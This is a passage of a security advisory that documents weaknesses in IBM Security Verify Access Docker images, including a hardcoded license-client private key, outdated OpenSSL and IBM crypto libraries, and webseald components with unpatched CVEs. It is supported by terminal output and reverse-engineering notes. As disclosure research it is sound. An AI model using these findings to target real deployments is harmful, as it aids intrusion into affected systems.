<span style="color: #666666">139</span> 
<span style="color: #666666">140</span> restart_openldap_server<span style="color: #666666">()</span>
<span style="color: #666666">141</span> <span style="color: #666666">{</span>
<span style="color: #666666">142</span>     <span style="color: #408080; font-style: italic"># Check to see whether the embedded LDAP server has been enabled or</span>
<span style="color: #666666">143</span>     <span style="color: #408080; font-style: italic"># not.</span>
<span style="color: #666666">144</span>     <span style="color: #19177C">ldap_conf</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/var/PolicyDirector/etc/ldap.conf&quot;</span>
<span style="color: #666666">145</span>     <span style="color: #19177C">ldap_host</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #19177C">$pdconf</span> -f <span style="color: #19177C">$ldap_conf</span> getentry ldap host<span style="color: #BA2121">`</span>
<span style="color: #666666">146</span> 
<span style="color: #666666">147</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$ldap_host</span><span style="color: #BA2121">&quot;</span> !<span style="color: #666666">=</span> <span style="color: #BA2121">&quot;127.0.0.1&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">148</span>         <span style="color: #008000; font-weight: bold">return</span>
<span style="color: #666666">149</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">150</span> 
<span style="color: #666666">151</span>     Echo <span style="color: #666666">964</span>
<span style="color: #666666">152</span> 
<span style="color: #666666">153</span>     <span style="color: #408080; font-style: italic"># Decrypt and extract the LDAP configuration.</span>
<span style="color: #666666">154</span>     isva_decrypt <span style="color: #19177C">$snapshot_tmp_dir</span>/openldap.zip
<span style="color: #666666">155</span> 
<span style="color: #666666">156</span>     unzip -q -o <span style="color: #19177C">$snapshot_tmp_dir</span>/openldap.zip -d /
<span style="color: #666666">157</span> 
<span style="color: #666666">158</span>     <span style="color: #408080; font-style: italic"># Change the LDAP port from 389 to 6389 (389 is a privileged port).</span>
<span style="color: #666666">159</span>     <span style="color: #19177C">$pdconf</span> -f <span style="color: #19177C">$ldap_conf</span> setentry ldap port <span style="color: #666666">6389</span>
<span style="color: #666666">160</span> 
<span style="color: #666666">161</span>     <span style="color: #408080; font-style: italic"># Stop the LDAP server.</span>
<span style="color: #666666">162</span>     busybox killall -SIGHUP slapd
<span style="color: #666666">163</span> 
<span style="color: #666666">164</span>     <span style="color: #008000; font-weight: bold">while</span> <span style="color: #008000; font-weight: bold">$(</span>busybox killall -0 slapd <span style="color: #666666">2</span>&gt;/dev/null<span style="color: #008000; font-weight: bold">)</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">165</span>         sleep <span style="color: #666666">1</span>
<span style="color: #666666">166</span>     <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">167</span> 
<span style="color: #666666">168</span>     <span style="color: #408080; font-style: italic"># Start the LDAP server.</span>
<span style="color: #666666">169</span>     slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s <span style="color: #666666">0</span>
<span style="color: #666666">170</span> <span style="color: #666666">}</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">260</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
<span style="color: #666666">261</span> <span style="color: #408080; font-style: italic"># Main line.</span>
<span style="color: #666666">262</span> 
<span style="color: #666666">263</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">264</span> <span style="color: #408080; font-style: italic"># Attempt to download the configuration data from the configuration service.</span>
<span style="color: #666666">265</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">266</span> 
<span style="color: #666666">267</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">268</span> <span style="color: #408080; font-style: italic"># Wait for the snapshot file.</span>
<span style="color: #666666">269</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">270</span> 
<span style="color: #666666">271</span> download_from_cfgsvc <span style="color: #666666">1</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">305</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">306</span> <span style="color: #408080; font-style: italic"># Restart the OpenLDAP server.</span>
<span style="color: #666666">307</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">308</span> 
<span style="color: #666666">309</span> restart_openldap_server
</pre></div>

<p><a id="hardcoded-key-ibm-iss"></a></p>
<h2>Details - Hardcoded private key for IBM ISS (ibmcom/verify-access)</h2>
<p>It was observed that the ibmcom/verify-access Docker image contains a hardcoded private key used by the license client iss-lum:</p>
<pre><code>kali-docker# pwd 
/home/user/ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/lum

kali-docker# ls -al 
total 492 
drwxr-xr-x  2 root root   4096 Jun  8 01:43 .
drwxr-xr-x 25 root root   4096 Jun  8 04:09 ..
-rwxr-xr-x  1 root root   1296 Oct 20  2016 externalTrustSettings.xml
-rwxr-xr-x  1 root root 445080 Oct 20  2016 iss-external.kdb
-rwxr-xr-x  1 root root    129 Oct 20  2016 iss-external.sth
-rwxr-xr-x  1 root root    100 Oct 20  2016 iss-lum.conf
-rwxr-xr-x  1 root root   3649 Oct 20  2016 isslum-usLocalSettings.xml
-rwxr-xr-x  1 root root    725 Oct 20  2016 lum_triggers.conf
-rwxr-xr-x  1 root root   1858 Oct 20  2016 private.pem
-rwxr-xr-x  1 root root    451 Oct 20  2016 public.pem
-rwxr-xr-x  1 root root   3926 Oct 20  2016 .udrc
-rwxr-xr-x  1 root root    806 Oct 20  2016 update-settings.conf
-rwxr-xr-x  1 root root   7352 Oct 20  2016 update-status.xsd
-rwxr-xr-x  1 root root    561 Jun  8 01:32 UpdateTypeNames.config
-rwxr-xr-x  1 root root      0 Dec 31  1969 .wh..wh..opq

kali-docker# sha256sum private.pem public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d  private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20  public.pem
</code></pre>
<p>When analyzing the podman instance verify-access, we can confirm the key has not been updated:</p>
<pre><code>[isam@verify-access lum]$ sha256sum private.pem  public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d  private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20  public.pem
[isam@verify-access lum]$
</code></pre>
<p>The private key appears to be used by several programs:</p>
<ul>
<li>/opt/dca/bin/dcatool</li>
<li>/usr/bin/isslum-modstatus</li>
<li>/usr/sbin/iss-lum</li>
<li>/usr/sbin/mesa_config</li>
<li>/usr/sbin/mesa_eventsd</li>
<li>/usr/sbin/isslum-installer</li>
</ul>
<p>The license client is using outdated codes and may contain vulnerabilities.</p>
<p>The keys are hardcoded and have not been updated for 6 years, which brings a question how the license client is being maintained.</p>
<p><a id="dcatool-outdated-openssl"></a></p>
<h2>Details - dcatool using an outdated OpenSSL library (ibmcom/verify-access)</h2>
<p>It was observed that the <code>dcatool</code> program located in <code>/opt/dca/bin</code> is linked with an outdated OpenSSL library located in the non-standard directory <code>/opt/dca/lib</code>:</p>
<p>From a live system:</p>
<pre><code>[isam@verify-access bin]$ pwd
/opt/dca/bin
[isam@verify-access bin]$ ls -la
total 580
drwxr-xr-x 2 root root   4096 Jun  8 13:43 .
drwxr-xr-x 4 root root   4096 Jun  8 13:43 ..
-rwxr-xr-x 1 root root 373208 Jun  8 13:31 dcatool
-rwxr-xr-x 1 root root 207872 Jun  8 13:31 dcaupdate
[isam@verify-access bin]$ ldd dcatool  | grep ssl
        libssl.so.10 =&gt; /opt/dca/lib/libssl.so.10 (0x00007fafcfb1e000)
        libssl.so.1.1 =&gt; /lib64/libssl.so.1.1 (0x00007fafcda45000)
[isam@verify-access bin]$ ldd dcaupdate  | grep ssl
        libssl.so.10 =&gt; /opt/dca/lib/libssl.so.10 (0x00007fe04980d000)
        libssl.so.1.1 =&gt; /lib64/libssl.so.1.1 (0x00007fe047734000)
</code></pre>
<p>Analysis of the library:</p>
<pre><code>[isam@verify-access lib]$ pwd
/opt/dca/lib
[isam@verify-access lib]$ ls -la
total 4156
drwxr-xr-x 2 root root    4096 Jun  8 13:43 .
drwxr-xr-x 4 root root    4096 Jun  8 13:43 ..
-rwxr-xr-x 1 root root 1252080 Jun  8 13:31 libboost_regex.so.1.53.0
-rwxr-xr-x 1 root root 2521496 Jun  8 13:31 libcrypto.so.10
lrwxrwxrwx 1 root root      24 Jun  8 13:43 libicudata.so.54 -&gt; /usr/lib64/libicudata.so
lrwxrwxrwx 1 root root      24 Jun  8 13:43 libicui18n.so.54 -&gt; /usr/lib64/libicui18n.so
lrwxrwxrwx 1 root root      22 Jun  8 13:43 libicuuc.so.54 -&gt; /usr/lib64/libicuuc.so
-rwxr-xr-x 1 root root  470328 Jun  8 13:31 libssl.so.10
[isam@verify-access lib]$ sha256sum *so*
a4b9594f78c0e5cfa14c171e07ae439dccd0ef990db8c4b155c68fde43a8d9a9  libboost_regex.so.1.53.0
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c  libcrypto.so.10
07796e84fc3618a64259cfff7a896e57fc90f6b270d690d953f4792c2b7e21ac  libicudata.so.54
49e6f6b12d118118c7d17cec26f80c81b39c89ea01a30eaf26abb07859d909fe  libicui18n.so.54
1504c73f432bc24414c0ca69d29bdb04c04ba2269b752c320306cb25aadd5972  libicuuc.so.54
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0  libssl.so.10
[isam@verify-access lib]$
</code></pre>
<p>We can retrieve these 2 libraries inside the <code>ibmcom/verify-access</code> image and identify the version of OpenSSL:</p>
<pre><code>kali-docker# sha256sum **/libssl.so.10                                                                                                
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0  698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10
kali-docker# sha256sum **/libcrypto.so.10                                                                                             
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c  698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10

kali-docker# kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10|grep -i openssl
[...][
OpenSSL 1.0.2k-fips  26 Jan 2017
[...]
kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10|grep -i openssl
OpenSSL 1.0.2k-fips  26 Jan 2017
[...]
</code></pre>
<p>The libraries located in <code>/opt/dca/lib</code> are completely outdated and are vulnerable to known CVEs.</p>
<p>These libraries are likely used by IBM-specific programs.</p>
<p>The Docker images contain known vulnerabilities.</p>
<p><a id="iss-lum-outdated-openssl-hardcoded-keys"></a></p>
<h2>Details - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys</h2>
<p>It was observed that the <code>/usr/sbin/iss-lum</code> program from the verify-access Docker image contains outdated OpenSSL code (from the library 0.9.7) from 2007. The iss-lum program is the license client that will connect to external servers.</p>
<p>This program runs inside the instance:</p>
<pre>
[isam@verify-access /]$ ps -auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
isam           1  0.0  0.0  12060   132 ?        Ss   Oct04   0:00 /bin/sh /sbin/bootstrap.sh
isam         313  0.0  0.0  24532    68 ?        Ss   Oct04   0:00 /usr/sbin/mesa_crashd
isam         315  0.1  0.0  24532  1032 ?        S    Oct04   1:57 /usr/sbin/mesa_crashd
isam         319  0.0  0.0  69160   144 ?        Ss   Oct04   0:00 /usr/sbin/mesa_syslogd
isam         321  0.0  0.0  69224  1280 ?        S    Oct04   0:00 /usr/sbin/mesa_syslogd
isam         400  0.0  0.0 102760   200 ?        Ss   Oct04   0:00 /usr/sbin/mesa_eventsd -m 1000
isam         401  0.0  0.0 710856   316 ?        Sl   Oct04   0:00 /usr/sbin/mesa_eventsd -m 1000
pgresql      435  0.0  0.0 188380  7016 ?        Ss   Oct04   0:02 /usr/bin/postgres -D /var/postgresql/config/data
pgresql      436  0.0  0.0 138892   184 ?        Ss   Oct04   0:00 postgres: logger   
pgresql      447  0.0  0.0 188380  1600 ?        Ss   Oct04   0:00 postgres: checkpointer   
pgresql      448  0.0  0.0 188516  1288 ?        Ss   Oct04   0:01 postgres: background writer   
pgresql      449  0.0  0.0 188380  1468 ?        Ss   Oct04   0:01 postgres: walwriter   
pgresql      450  0.0  0.0 189112  1864 ?        Ss   Oct04   0:01 postgres: autovacuum launcher   
pgresql      451  0.0  0.0 139024   588 ?        Ss   Oct04   0:05 postgres: stats collector   
pgresql      452  0.0  0.0 188916  1016 ?        Ss   Oct04   0:00 postgres: logical replication launcher   
www-data     548  0.4  4.8 4920352 387128 ?      SLl  Oct04   7:53 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/default/java.security -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/lmi -Xbootclasspath/a:/opt/pdjrte/java/export/rgy/com.tivoli.pd.rgy.jar:/opt/ibm/wlp/usr/servers/runtime/lib/global/xercesImpl.jar -Dorg.osgi.framework.system.packages.extra=com.tivoli.pd.rgy,com.tivoli.pd.rgy.authz,com.tivoli.pd.rgy.exception,com.tivoli.pd.rgy.ldap,com.tivoli.pd.rgy.nls,com.tivoli.pd.rgy.util,com.ibm.misc,com.ibm.net.ssl.www2.protocol.https,com.sun.jndi.ldap,org.apache.xml.serialize -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 --add-exports java.base/sun.security.action=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.ldap=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.url.ldap=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.naming/javax.naming.spi=ALL-UNNAMED --add-opens jdk.naming.rmi/com.sun.jndi.url.rmi=ALL-UNNAMED --add-opens java.naming/javax.naming=ALL-UNNAMED --add-opens java.rmi/java.rmi=ALL-UNNAMED --add-opens java.sql/java.sql=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/java.awt.image=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED -jar /opt/IBM/wlp/bin/tools/ws-server.jar default --clean
isam         748  0.0  0.0 270992     8 ?        Ssl  Oct04   0:02 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
ldap         753  0.0  4.3 1314228 346548 ?      Sl   Oct04   0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
isam         757  0.0  0.0 271124     8 ?        Ssl  Oct04   0:02 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground
ivmgr        762  0.0  0.1 1070184 10860 ?       Sl   Oct04   0:01 /opt/PolicyDirector/bin/pdmgrd -foreground
<font color=red>isam         805  0.0  0.0  71488   316 ?        Ss   Oct04   0:00 /usr/sbin/iss-lum</font>
<font color=red>isam         806  0.0  0.0 343920  5264 ?        Sl   Oct04   0:00 /usr/sbin/iss-lum</font>
root         811  0.0  0.0  41984  2416 ?        Ss   Oct04   0:00 /usr/sbin/crond
isam         834  0.0  0.0 128400  2076 ?        Ssl  Oct04   0:00 /usr/sbin/rsyslogd
root         859  0.0  0.0 174348    96 ?        Ss   Oct04   0:00 /usr/sbin/wga_servertaskd
ivmgr        861  0.0  0.0 276544    84 ?        Sl   Oct04   0:00 /usr/sbin/wga_servertaskd
isam         870  0.0  0.0 273920     8 ?        Ssl  Oct04   0:02 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground
isam         877  2.1  0.2 563872 18472 ?        Sl   Oct04  38:43 wga_notifications -foreground
isam         889  0.0  0.0  12060    80 ?        S    Oct04   0:00 /bin/sh /sbin/bootstrap.sh
isam         892  0.0  0.0  23068    24 ?        S    Oct04   0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log
isam      217541  4.0  0.0  19248  3836 pts/0    Ss   21:37   0:00 bash
isam      217564  0.0  0.0  54808  4080 pts/0    R+   21:37   0:00 ps -auxww
[isam@verify-access /]$ 
</pre>

<p>This program appears to establish connections to remote servers to check the license.</p>
<p>The OpenSSL library embedded inside the program is completely outdated (0.9.7j - Feb 2007):</p>
<p><img alt="" src="images/2024-isva-openssl-iss-lum.png" /></p>
<p>Furthermore, this program includes several hardcoded keys to decrypt the private key in <code>/etc/lum/private.pem</code>. In the function ctor_009:</p>
<p><img alt="" src="images/2024-isva-openssl-iss-hardcoded-keys-01.png" /></p>
<p>Some decryption keys have been identified within the binaries used to check the license:</p>
<p>Function <code>sub_4806C0</code>:</p>
<p><img alt="" src="images/2024-isva-openssl-iss-hardcoded-keys-02-sub_4806C0.png" /></p>
<p>Function <code>ctor_009</code>:</p>
<p><img alt="" src="images/2024-isva-openssl-iss-hardcoded-keys-03-sub_480D30.png" /></p>
<p>The Docker images contain known vulnerabilities.</p>
<p><a id="outdated-ibm-crypto-for-c"></a></p>
<h2>Details - Outdated "IBM Crypto for C" library</h2>
<p>It was observed that the IBM Crypto for C library is installed inside all the Docker images in the directory <code>/usr/local/ibm/gsk8_64</code>:</p>
<p>For example, from the Docker image verify-access-wrp:</p>
<pre><code>kali-docker# cd ./_verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a 
kali-docker# find usr/local/ibm       
usr/local/ibm
usr/local/ibm/gsk8_64
usr/local/ibm/gsk8_64/lib64
usr/local/ibm/gsk8_64/lib64/libgsk8cms_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8kicc_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8p11_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8ssl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8drld_64.so
usr/local/ibm/gsk8_64/lib64/C
usr/local/ibm/gsk8_64/lib64/C/icc
usr/local/ibm/gsk8_64/lib64/C/icc/icclib
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/libicclib084.so
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/libgsk8ldap_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8iccs_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8valn_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8acmeidup_64.so
usr/local/ibm/gsk8_64/lib64/N
usr/local/ibm/gsk8_64/lib64/N/icc
usr/local/ibm/gsk8_64/lib64/N/icc/icclib
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/libicclib085.so
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt
usr/local/ibm/gsk8_64/lib64/libgsk8dbfl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km2_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8sys_64.so
usr/local/ibm/gsk8_64/docs
usr/local/ibm/gsk8_64/copyright
usr/local/ibm/gsk8_64/inc
usr/local/ibm/gsk8_64/bin
usr/local/ibm/gsk8_64/bin/gsk8capicmd_64
usr/local/ibm/gsk8_64/bin/gsk8ver_64
usr/local/ibm/.wh..wh..opq
kali-docker#
</code></pre>
<p>This library is based on the opensource libraries zlib and OpenSSL. It was built in October 2020, as shown below:</p>
<p><img alt="" src="images/2024-isva-libicclib085.so.png" /></p>
<p>Furthermore, the copyrights from the <code>/usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt</code> file indicate:</p>
<ul>
<li>(C) 1995-2004 Jean-loup Gailly and Mark Adler - for zlib</li>
<li>Copyright (c) 1998-2007 The OpenSSL Project.  All rights reserved. - for OpenSSL</li>
</ul>
<p>The <code>/usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt</code> file confirms the libraries were generated 2 years ago:</p>
<pre><code>#
# IBM Crypto for C.
# ICC Version 8.7.37.0
#
# Note the signed library contains a copy of cryptographic code from OpenSSL (www.openssl.org),
# zlib (www.zlib.org)
# and IBM code (www.ibm.com)
#
# Platform AMD64_LINUX
#
# Generated Tue Oct 13 12:09:08 2020
#
# File name=libicclib085.so
# File Hash (SHA256)=bbbb89eae43b11aba9a132a53207ca532236cd064b6aa0b84ea878a0b9bf8b4f
#
FILE=906082662e6b3a50fc01a95f2d1bb29d3a54349ad76da59fc8555fadadae4e5305463810ece2064174129a95e89352a02d8c72c7397de2d01b38220c3222796992785b8d99401a65b0894778a2b05760ae1a6919a97e259d270ff5e6996a14fc29e48a848c59e14f2aa758e8e26355faeff60eca0562ad643a86b8fdaa6afd10190190d411a584679ff1ee93caf5039ef070d411040fc828e4b8f79b8bb67d3ec1708c8274c0c9f6899399492fa52c73574065f2684dcc336c41eee2b808b42b0a01578b32fae245b761580240e3b53359767634ba76018f46a8d732c21ec24bf1a979aa11af20b646f166d5658efabcebdf6283fbdc793d82636e89bf2ac4ad
#
SELF=10fefb48a0666936f23aceae7805a7dcefb06a9a2282fea0693610a98ccf12cab8bfef973cda13450afde785960eccb2637adaf15f5e795cdb21f667704ba30ebf6a6a077f29a3574d0792ef633172d324a5b26adc257d3380ffd1cf7698bc560fb52d5c083ffa85fe623e059f7c8d67a8043ca75d8808c082de29bb8e1c46a01421039e557699cf7747c07a22a0e1612b0e4de8836833bebc888269dc46adf0ed5ba0107da2e683554433ed29ab840d16af34581682e35a30d11ff10fbd8ba0cc7ae6a62b75c3ba4758863e5a5a4cf00371040358a732a56ecf7dd04523c85544755c6f0f42447f383ec22e0ee4d79bb3c6e6defc4319f555afaaa1cfc8642f
#
#Do not edit before this line
#
# Global Settings
ICC_ALLOW_2KEY3DES=1
</code></pre>
<p>The OpenSSL code and the zlib code are at least 2 year old and vulnerable to CVEs.</p>
<p>The Docker images contain known vulnerabilities.</p>
<p><a id="n-days"></a></p>
<h2>Details - Webseald using outdated code with remotely exploitable vulnerabilities</h2>
<p>It was observed that the webseald program borrows codes provided by open-source libraries containing outdated and vulnerable code.
This program can be found inside these 2 images:</p>
<ul>
<li>verify-access</li>
<li>verify-access-wrp</li>
</ul>
<p>Webseald is reachable over the network.</p>
<p>Libraries used by webseald:</p>
<pre><code>kali-docker# ldd ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/opt/pdweb/bin/webseald
        linux-vdso.so.1 (0x00007fffe59f3000)
        libwsdaemon.so =&gt; not found
        libamwoauth.so =&gt; not found
        libamweb.so =&gt; not found
        libamwebrte.so =&gt; not found
        libpdsvcutl.so =&gt; not found
        libtivsec_msg.so =&gt; not found
        libpdz.so =&gt; not found
        libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61885e8000)
        libtivsec_xslt4c.so.112 =&gt; not found
        libtivsec_xml4c.so =&gt; not found
        libtivsec_yamlcpp.so =&gt; not found
        libam_gssapi_krb5.so =&gt; not found
        libmodsecurity.so.3 =&gt; not found
        libamwredismgr.so =&gt; not found
        libhiredis.so.0.15 =&gt; not found
        libhiredis_ssl.so.0.15 =&gt; not found
        libpthread.so.0 =&gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f61885df000)
        libstdc++.so.6 =&gt; /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f6188200000)
        libm.so.6 =&gt; /lib/x86_64-linux-gnu/libm.so.6 (0x00007f6188504000)
        libgcc_s.so.1 =&gt; /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f61884e4000)
        libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6187e00000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f6188604000)
</code></pre>
<p>The IBM-specific libraries (<em>.so</em>) have been analyzed only in surface to detect low-hanging fruits, and several vulnerabilities were found, including some pre-auth vulnerabilities.</p>
<p>Webseal is directly reachable from the network but uses the outdated and vulnerable code.</p>
<p>The quality of the code is extremely inequal between the libraries - some code is very well implemented (with secure calls to -cpy functions) and some code is vulnerable (with insecure calls to -cpy functions). These libraries contain some legacy codes that are not up to date with the current security standards.</p>
<p>Due to the lack of time, only a superficial analysis was done - an attacker with time will likely find 0-day vulnerabilities in these libraries.</p>
<p><a id="n-days-libmodsecurity"></a></p>
<h3>Libmodsecurity.so - 1 non-assigned CVE vulnerability</h3>
<p>The <code>/opt/pdweb/lib/libmodsecurity.so.3</code> library (b939c5db3ca94073188ea6eb360049f58f9e9d2a9c7d72bc052d9ee47cc5eccc) contains a vulnerable libinjection library. The version used is 3.9.2:</p>
<p><img alt="" src="images/2024-isva-modsecurity.so-libinjection-version.png" /></p>
<p>This version (3.9.2) is known to have several vulnerabilities. For example, a <a href="https://github.com/SpiderLabs/ModSecurity/issues/1412">pre-authentication DoS</a> from 2017 (no CVE).</p>
<p>This version is confirmed to be vulnerable: <a href="https://github.com/client9/libinjection/issues/124">https://github.com/client9/libinjection/issues/124</a>.</p>
<p><a id="n-days-yamlcpp"></a></p>
<h3>libtivsec_yamlcpp.so - 4 CVEs</h3>
<p>This IBM library is entirely based on yaml-cpp. Yaml-cpp is available at <a href="https://github.com/jbeder/yaml-cpp">https://github.com/jbeder/yaml-cpp</a>.</p>
<p>Several vulnerabilities have been patched in 2020 (CVE-2017-5950, CVE-2018-20573, CVE-2018-20574 and CVE-2019-6285) in the yaml-cpp library.</p>
<p>This IBM-specific library is located at <code>/usr/lib64/libtivsec_yamlcpp.so</code> and <code>/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so</code> (cf1b80c501a2f42948322567477c2956155e244d645e3962985569c4496ffad90).</p>
<p>When doing reverse engineering on this file, it appears no security patches have been imported from the official yaml-cpp repository.</p>
<p>We can identify several methods from the yaml-cpp library. For example, the method <code>SingleDocParser::HandleFlowMap()</code> found in <code>/usr/lib64/libtivsec_yamlcpp.so</code> and <code>/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so</code>:</p>
<p><img alt="" src="images/2024-isva-yaml-SingleDocParser-HandleFlowSequence.png" /></p>
<p>When analyzing the security patches available at <a href="https://github.com/jbeder/yaml-cpp/pull/807">https://github.com/jbeder/yaml-cpp/pull/807</a> and <a href="https://github.com/jbeder/yaml-cpp/pull/807/files/dbd5ac094622ef3b3951e71c31f59e02c930dc4b">https://github.com/jbeder/yaml-cpp/pull/807/files/dbd5ac094622ef3b3951e71c31f59e02c930dc4b</a>, there is no reference in the compiled code regarding a <code>DeepRecursion</code> class or any method implemented in the security patches. This <code>DeepRecursion</code> class is included in the now-patched versions.</p>
<p>The IBM-specific library is using an outdated and vulnerable version of yaml-cpp, without security patches, e.g. <a href="https://github.com/jbeder/yaml-cpp/pull/807">4 CVEs patched in yaml-cpp</a>.</p>
<p>Analysis of the security patches implementing new classes:</p>
<p><img alt="" src="images/2024-isva-yaml-cpp-vuln02.png" /></p>
<p><a href="images/2024-isva-yaml-cpp-vuln02-full.png">Click here for full image</a></p>
<p>Furthermore, it is possible to analyze the rest of the security patches from the git repository and compare them with the assembly code from the <code>libtivsec_yamlcpp.so</code> library. This allows us to conclude the security patches have not been imported into the <code>libtivsec_yamlcpp.so</code> library.</p>
<p>Source code providing security patches:</p>
<p>Method <code>HandleNode()</code> from the security patches and the patched versions of yaml-cpp:</p>
<p><img alt="" src="images/2024-isva-yaml-patched.png" /></p>
<p>With the assembly code extracted from the <code>libtivsec_yamlcpp.so</code> library and rebuilt into pseudo-code, we can identify the same logic and the same instructions (minus some errors due to the reconstruction from assembly to C++) - with the lack of the patch located on the line 51.</p>
<p>Pseudo-code of method <code>HandleNode()</code>:</p>
<p><img alt="" src="images/2024-isva-yaml-cpp-vuln.png" /></p>
<p>This allows us to conclude that the <code>libtivsec_yamlcpp.so</code> library is vulnerable to these 4 CVEs.</p>
<p><a id="n-days-xml4c"></a></p>
<h3>libtivsec_xml4c.so - outdated Xerces-C library</h3>
<p>This library (8b3d3d2dcb1152966d097e91e08fa1dc4300f3653f1c264eeecaf20bb1550832) is located in <code>/usr/lib64/libtivsec_xml4c.so</code> and <code>/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_xml4c.so</code>) and uses outdated code from XML4C 5.5.0 that includes a version of Xerces-C (XML4C doesn't exist anymore and the latest release appears to be from 2007-2008).</p>
<p><img alt="" src="images/2024-isva-xerces.png" /></p>
